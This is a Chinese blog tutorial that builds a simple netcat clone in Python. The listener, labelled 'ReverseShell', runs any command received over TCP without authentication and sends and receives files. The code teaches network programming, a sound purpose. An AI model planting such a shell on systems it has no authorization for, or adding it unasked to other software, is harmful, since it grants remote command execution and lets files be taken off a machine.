Netcat
Netcat是一种网络工具,也称为“nc”,可用于在计算机网络之间进行TCP/IP或UDP连接。它可以用于连接到其他计算机上的端口,发送和接收数据,扫描端口以及创建服务器等。
使用Python实现简易版
整体功能规划
| if __name__ == "__main__": |
| |
| |
| parser = argparse.ArgumentParser( |
| description="ReverseShell", |
| formatter_class=argparse.RawDescriptionHelpFormatter, |
| |
| epilog=textwrap.dedent( |
| """ |
| python Simple_Netcat.py -t <IP> -p 5555 -l -c # command shell |
| python Simple_Netcat.py -t <IP> -p 5555 # connect to server |
| get <file> # download file |
| upload <file> # upload file |
| """ |
| ), |
| ) |
| |
| |
| parser.add_argument("-c", "--command", action="store_true", help="command shell") |
| |
| parser.add_argument("-l", "--listen", action="store_true", help="listen ") |
| |
| parser.add_argument("-p", "--port", type=int, default=5555, help="specified port ") |
| |
| parser.add_argument("-t", "--target", default="127.0.0.1", help="specified IP") |
| |
| args = parser.parse_args() |
| |
| nc = SimpleNetcat(args) |
| nc.run() |
创建NetCat类:
| class SimpleNetcat: |
| def __init__(self, args): |
| |
| self.args = args |
| self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
| |
| |
| |
| def run(self): |
| if self.args.listen: |
| self.listen() |
| else: |
| |
| print('Enter the first command >',end='') |
| self.send() |
实现listen功能:
| |
| def listen(self): |
| self.socket.bind((self.args.target, self.args.port)) |
| |
| self.socket.listen(5) |
| |
| |
| while True: |
| |
| client_socket, _ = self.socket.accept() |
| |
| client_thread = threading.Thread(target=self.handle, args=(client_socket,)) |
| client_thread.start() |
当程序监听到指令之后,就可以执行相应的任务:
| |
| def handle(self, client_socket): |
| |
| |
| if self.args.command: |
| |
| |
| while True: |
| try: |
| cmd_buffer = b'' |
| |
| while '\n' not in cmd_buffer.decode(): |
| cmd_buffer += client_socket.recv(64) |
| cmd = cmd_buffer.strip().decode() |
| if cmd.startswith("get"): |
| send_file(cmd, client_socket) |
| elif cmd.startswith("upload"): |
| get_file(cmd, client_socket) |
| else: |
| response = execute(cmd_buffer.decode()) |
| if response: |
| client_socket.send(response.encode()) |
| except Exception as e: |
| print(f'Server killed {e}') |
| self.socket.close() |
| sys.exit() |
实现execute函数
| # execute函数用于接受一条命令并执行,然后将结果作为一段字符串返回 |
| def execute(cmd): |
| if cmd.startswith('cd '): |
| # 切换目录 |
| os.chdir(cmd[3:].strip()) |
| return os.getcwd() + '>' |
| else: |
| cmd = cmd.strip() |
| if not cmd: |
| return |
| # subprocess库提供了一组强大的进程创建接口,可以通过多种方式调用其他程序。 |
| # check_output函数会在本机运行一条命令,并返回该命令的输出 |
| output = subprocess.check_output(shlex.split(cmd), stderr=subprocess.STDOUT) |
| return output.decode() + os.getcwd() + '>' |
实现send函数
| def send(self): |
| |
| self.socket.connect((self.args.target, self.args.port)) |
| |
| try: |
| |
| while True: |
| |
| buffer = input() + '\n' |
| self.socket.send(buffer.encode()) |
| if buffer.startswith("get"): |
| get_file(buffer, self.socket) |
| elif buffer.startswith("upload"): |
| send_file(buffer, self.socket) |
| else: |
| recv_len = 4096 |
| response = '' |
| |
| while recv_len: |
| data = self.socket.recv(4096) |
| recv_len = len(data) |
| response += data.decode('utf-8', errors='ignore') |
| if recv_len < 4096: |
| break |
| |
| if response: |
| print(response, end='') |
| except KeyboardInterrupt: |
| print("User Terminated.") |
| self.socket.close() |
| sys.exit() |
实现文件上传功能
| def send_file(cmd, client_socket): |
| filename = cmd.split()[1] |
| if os.path.isfile(filename): # 判断文件是否存在 |
| size = os.path.getsize(filename) # 获取文件大小 |
| client_socket.send(str(size).encode() + b'\n') # 发送数据长度 |
| |
| with open(filename, "rb") as f: |
| client_socket.send(f.read()) |
| else: |
| client_socket.send("File Not Exist".encode()) |
实现文件下载功能
| def get_file(buffer, socket): |
| cmd, filename = buffer.split(" ") |
| filename = filename.replace("\n", "") |
| file_size = int(socket.recv(64).decode().strip('\n')) |
| print("File Size:%s" % (file_size)) |
| |
| with open(filename, "wb") as f: |
| received_size = 0 |
| while received_size < file_size: |
| size = min(4096, file_size - received_size) |
| data = socket.recv(size) |
| f.write(data) |
| received_size += len(data) |
| print("Download: {:.2f}%".format(received_size / file_size * 100)) |
| print("File '{}' downloaded successfully.".format(filename)) |
| print('Enter Command >', end="") |
整体代码
完整代码可以参考我的Github仓库:Github
代码测试
shell:

上传文件:

下载文件:

【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App